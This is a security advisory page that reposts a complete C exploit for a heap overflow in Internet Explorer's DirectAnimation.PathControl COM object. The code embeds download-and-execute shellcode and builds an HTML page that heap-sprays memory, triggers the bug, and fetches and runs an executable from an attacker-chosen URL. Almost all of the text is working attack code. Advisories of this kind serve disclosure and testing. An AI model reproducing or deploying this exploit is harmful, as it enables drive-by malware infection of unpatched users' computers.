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| A vulnerability in Internet Explorer's COM Object implementation allows an attackers to use the DirectAnimation.PathControl object to cause the browser to execute arbitrary code, the following exploit code can be used to test your system for the mentioned vulnerability. |
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Credit:
The information has been provided by nop.
The original article can be found at: http://www.xsec.org/index.php?module=Releases&act=view&type=2&id=20
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Exploit:
/*
*-----------------------------------------------------------------------
*
* daxctle2.c - Internet Explorer COM Object Heap Overflow Download Exec Exploit
* !!! 0day !!! Public Version !!!
*
* Copyright (C) 2006 XSec All Rights Reserved.
*
* Author : nop
* : nop#xsec.org
* : http://www.xsec.org
* :
* Tested : Windows 2000 Server SP4 CN
* : + Internet Explorer 6.0 SP1
* : Windows XP SP2 CN
* : + Internet Explorer 6.0 SP1 (You need some goodluck! :-)
* :
* Complie : cl daxctle2.c
* :
* Usage :d:\>daxctle2
* :
* :Usage: daxctle <URL> [htmlfile]
* :
* :d:\>daxctle2 http://xsec.org/xxx.exe xxx.htm
* :
*
*------------------------------------------------------------------------
*/
#include <stdio.h>
#include <stdlib.h>
FILE *fp = NULL;
char *file = "xsec.htm";
char *url = NULL;
// Download Exec Shellcode by nop
unsigned char sc[] =
"\xe9\xa3\x00\x00\x00\x5f\x64\xa1\x30\x00\x00\x00\x8b\x40\x0c\x8b"
"\x70\x1c\xad\x8b\x68\x08\x8b\xf7\x6a\x04\x59\xe8\x43\x00\x00\x00"
"\xe2\xf9\x68\x6f\x6e\x00\x00\x68\x75\x72\x6c\x6d\x54\xff\x16\x95"
"\xe8\x2e\x00\x00\x00\x83\xec\x20\x8b\xdc\x6a\x20\x53\xff\x56\x04"
"\xc7\x04\x03\x5c\x61\x2e\x65\xc7\x44\x03\x04\x78\x65\x00\x00\x33"
"\xc0\x50\x50\x53\x57\x50\xff\x56\x10\x8b\xdc\x50\x53\xff\x56\x08"
"\xff\x56\x0c\x51\x56\x8b\x75\x3c\x8b\x74\x2e\x78\x03\xf5\x56\x8b"
"\x76\x20\x03\xf5\x33\xc9\x49\x41\xad\x03\xc5\x33\xdb\x0f\xbe\x10"
"\x3a\xd6\x74\x08\xc1\xcb\x0d\x03\xda\x40\xeb\xf1\x3b\x1f\x75\xe7"
"\x5e\x8b\x5e\x24\x03\xdd\x66\x8b\x0c\x4b\x8b\x5e\x1c\x03\xdd\x8b"
"\x04\x8b\x03\xc5\xab\x5e\x59\xc3\xe8\x58\xff\xff\xff\x8e\x4e\x0e"
"\xec\xc1\x79\xe5\xb8\x98\xfe\x8a\x0e\xef\xce\xe0\x60\x36\x1a\x2f"
"\x70";
char * header =
"<html>\n"
"<head>\n"
"<title>XSec.org</title>\n"
"</head>\n"
"<body>\n"
"<script>\n"
"shellcode = unescape(\"%u4343\"+\"%u4343\"+\"%u4343\" + \n";
// Change this script by yourself.
char * footer =
"bigbk = unescape(\"%u0D0D%u0D0D\");\n"
"headersize = 20;\n"
"slackspace = headersize + shellcode.length\n"
"while (bigbk.length < slackspace) bigbk += bigbk;\n"
"fillbk = bigbk.substring(0, slackspace);\n"
"bk = bigbk.substring(0, bigbk.length-slackspace);\n"
// bk = nop+nop;-)
"while(bk.length+slackspace < 0x40000) bk = bk + bk + fillbk;\n"
"memory = new Array();\n"
"for (i=0;i<800;i++) memory[i] = bk + shellcode;\n"
"var target = new ActiveXObject(\"DirectAnimation.PathControl\");\n"
"target.KeyFrame(0x7fffffff, new Array(1), new Array(65535));\n"
"</script>\n"
"</body>\n"
"</html>\n";
// print unicode shellcode
void PrintUc(char *lpBuff, int buffsize)
{
int i,j;
char *p;
char msg[4];
for(i=0;i<buffsize;i+=2)
{
if((i%16)==0)
{
if(i!=0)
{
printf("\"\n\"");
fprintf(fp, "%s", "\" +\n\"");
}
else
{
printf("\"");
fprintf(fp, "%s", "\"");
}
}
printf("%%u%0.4x",((unsigned short*)lpBuff)[i/2]);
fprintf(fp, "%%u%0.4x",((unsigned short*)lpBuff)[i/2]);
}
printf("\";\n");
fprintf(fp, "%s", "\");\n");
fflush(fp);
}
void main(int argc, char **argv)
{
unsigned char buf[1024] = {0};
int sc_len = 0;
if (argc < 2)
{
printf("Internet Explorer COM Object Remote Heap Overflow Download Exec Exploit\n");
printf("Code by nop nop#xsec.org, Welcome to http://www.xsec.org\n");
//printf("!!! 0Day !!! Please Keep Private!!!\n");
printf("\r\nUsage: %s <URL> [htmlfile]\r\n\n", argv[0]);
exit(1);
}
url = argv[1];
//if( (!strstr(url, "http://") && !strstr(url, "ftp://")) || strlen(url) < 10 || strlen(url) > 60)
if( (!strstr(url, "http://") && !strstr(url, "ftp://")) || strlen(url) < 10)
{
//printf("[-] Invalid url. Must start with 'http://','ftp://' and < 60 bytes.\n");
printf("[-] Invalid url. Must start with 'http://','ftp://'\n");
return;
}
printf("[+] download url:%s\n", url);
if(argc >=3) file = argv[2];
printf("[+] exploit file:%s\n", file);
fp = fopen(file, "w");
if(!fp)
{
printf("[-] Open file error!\n");
return;
}
// print html header
fprintf(fp, "%s", header);
fflush(fp);
// print shellcode
memset(buf, 0, sizeof(buf));
sc_len = sizeof(sc)-1;
memcpy(buf, sc, sc_len);
memcpy(buf+sc_len, url, strlen(url));
sc_len += strlen(url)+1;
PrintUc(buf, sc_len);
// print html footer
fprintf(fp, "%s", footer);
fflush(fp);
printf("[+] exploit write to %s success!\n", file);
}
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